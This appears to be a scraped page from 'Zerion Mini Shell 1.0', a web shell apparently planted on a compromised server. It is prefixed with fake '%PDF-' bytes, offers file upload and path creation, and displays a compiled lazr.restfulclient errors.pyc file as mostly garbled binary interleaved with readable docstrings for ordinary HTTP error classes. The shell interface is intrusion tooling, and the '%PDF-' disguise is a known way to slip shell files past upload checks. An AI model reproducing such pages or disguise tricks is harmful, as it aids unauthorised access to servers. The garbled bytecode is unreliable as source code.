%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/lazr/restfulclient/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/lazr/restfulclient/__pycache__/errors.cpython-312.pyc

�

}�;e���N�dZeZgd�ZGd�de�ZGd�de�ZGd�de�ZGd�d	e�ZGd
�de�Z	Gd�d
e�Z
Gd�de
�ZGd�de�ZGd�de�Z
Gd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de
�Zd�Zy) zlazr.restfulclient errors.)�
BadRequest�Conflict�ClientError�CredentialsError�CredentialsFileError�	HTTPError�MethodNotAllowed�NotFound�PreconditionFailed�RestfulError�
ResponseError�ServerError�Unauthorized�UnexpectedResponseErrorc��eZdZdZy)rz2Base error for the lazr.restfulclient API library.N��__name__�
__module__�__qualname__�__doc__���;/usr/lib/python3/dist-packages/lazr/restfulclient/errors.pyrr(s��<rrc��eZdZdZy)rz&Base credentials/authentication error.Nrrrrrr,s��0rrc��eZdZdZy)rzError in credentials file.Nrrrrrr0s��$rrc��eZdZdZd�Zy)rzError in response.c�J�tj|�||_||_y)N)r�__init__�response�content)�selfrrs   rrzResponseError.__init__7s�����d�#� ��
���rN)rrrrrrrrrr4s
���rrc��eZdZdZd�Zy)rz$An unexpected response was received.c�`�|jj�d|jj��S)N�: )r�status�reason)r s r�__str__zUnexpectedResponseError.__str__@s!���=�=�/�/����1E�1E�F�FrN�rrrrr&rrrrr=s��.�Grrc��eZdZdZd�Zy)rz+An HTTP non-2xx response code was received.c	��djt|jj��D�cgc]}d|z��	c}�}d|jj�d|jj
�d|�d|j�d�	Scc}w)z9Show the error code, response headers, and response body.�
z%s: %szHTTP Error r#z
Response headers:
---
z
---
Response body:
---
z
---
)�join�sortedr�itemsr$r%r)r �pair�headerss   rr&zHTTPError.__str__Gsi���)�)�)/��
�
�0C�0C�0E�)F�G��X��_�G�
���]�]�
!�
!�4�=�=�#7�#7��$�,�,�	P�	P��
Hs�BNr'rrrrrDs��5�	Prrc��eZdZdZy)rz.An exception representing a client-side error.NrrrrrrS���8rrc��eZdZdZy)rz4An exception representing an authentication failure.NrrrrrrWs��>rrc��eZdZdZy)r	z1An exception representing a nonexistent resource.Nrrrrr	r	[s��;rr	c��eZdZdZy)rz�An exception raised when you use an unsupported HTTP method.

    This is most likely because you tried to delete a resource that
    can't be deleted.
    Nrrrrrr_s��rrc��eZdZdZy)rz:An exception representing a problem with a client request.Nrrrrrrgs��Drrc��eZdZdZy)rz9An exception representing a conflict with another client.Nrrrrrrks��Crrc��eZdZdZy)r
z�An exception representing the failure of a conditional PUT/PATCH.

    The most likely explanation is that another client changed this
    object while you were working on it, and your version of the
    object is now out of date.
    Nrrrrr
r
os��rr
c��eZdZdZy)r
z.An exception representing a server-side error.Nrrrrr
r
xr1rr
c�.�tttttt
d�}|jdzdkry|j|jt�}|tur1|jdzdk(rt}n|jdzdk(rt}|||�S)z�Turn an HTTP response into an HTTPError subclass.

    :return: None if the response code is 1xx, 2xx or 3xx. Otherwise,
    an instance of an appropriate HTTPError subclass (or HTTPError
    if nothing else is appropriate.
    )i�i�i�i�i�i��d�N��)rrr	rrr
r$�getrr
r)rr�http_errors_by_status_code�clss    r�	error_forrA|s����
�
�
�
�
�
"�����#���"��(�,�,�X�_�_�i�H��
�i���?�?�c�!�Q�&��C�
�_�_��
#�q�
(��C��x��!�!rN)r�type�
__metaclass__�__all__�	Exceptionrrrrrrrrr	rrrr
r
rArrr�<module>rFs���&!��
���$=�9�=�1�|�1�%�+�%��L��G�m�G�P�
�P�9�)�9�?�;�?�<�{�<��{��E��E�D�{�D����9�)�9�"r

Zerion Mini Shell 1.0